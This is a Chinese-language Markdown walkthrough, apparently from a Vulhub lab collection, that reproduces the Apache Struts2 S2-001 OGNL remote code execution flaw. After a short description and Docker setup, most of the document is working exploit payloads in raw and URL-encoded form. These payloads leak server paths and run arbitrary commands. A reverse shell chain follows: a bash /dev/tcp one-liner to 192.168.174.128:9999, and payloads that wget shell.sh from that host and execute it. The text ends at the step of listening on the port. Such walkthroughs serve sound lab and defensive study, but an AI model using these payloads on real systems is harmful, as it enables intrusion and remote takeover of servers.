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87 lines
3.5 KiB
Markdown
87 lines
3.5 KiB
Markdown
# Apache Struts2 S2-001 远程代码执行漏洞
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## 漏洞描述
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该漏洞因为用户提交表单数据并且验证失败时，后端会将用户之前提交的参数值使用 OGNL 表达式 `%{value}` 进行解析，然后重新填充到对应的表单数据中。例如注册或登录页面，提交失败后端一般会默认返回之前提交的数据，由于后端使用 `%{value}` 对提交的数据执行了一次 OGNL 表达式解析，所以可以直接构造 Payload 进行命令执行.
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参考阅读：
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- http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html
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## 环境搭建
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Vulhub 执行以下命令启动 s2-001 测试环境：
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```
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docker-compose build
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docker-compose up -d
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```
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## 漏洞复现
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获取 tomcat 执行路径：
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```
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%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
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```
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获取 Web 路径：
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```
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%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
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```
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执行任意命令（命令加参数：`new java.lang.String[]{"cat","/etc/passwd"}`）：
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```
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# URLencode前
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%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"id"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
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```
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```
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# URLencode后
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%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22id%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D
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```
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### 反弹 shell
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准备反弹 Shell 文件 shell.sh：
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```
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echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
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```
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启动 http server：
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```
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# python2
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python -m SimpleHTTPServer 80
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# python3
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python -m http.server 80
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```
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上传 shell.sh 文件：
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```
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# URLencode前
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%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"wget","192.168.174.128/shell.sh"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
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```
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执行 shell.sh 文件：
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```
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# URLencode前
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%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"bash","/usr/local/tomcat/shell.sh"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
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```
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监听 9999 端口，接收反弹 shell：
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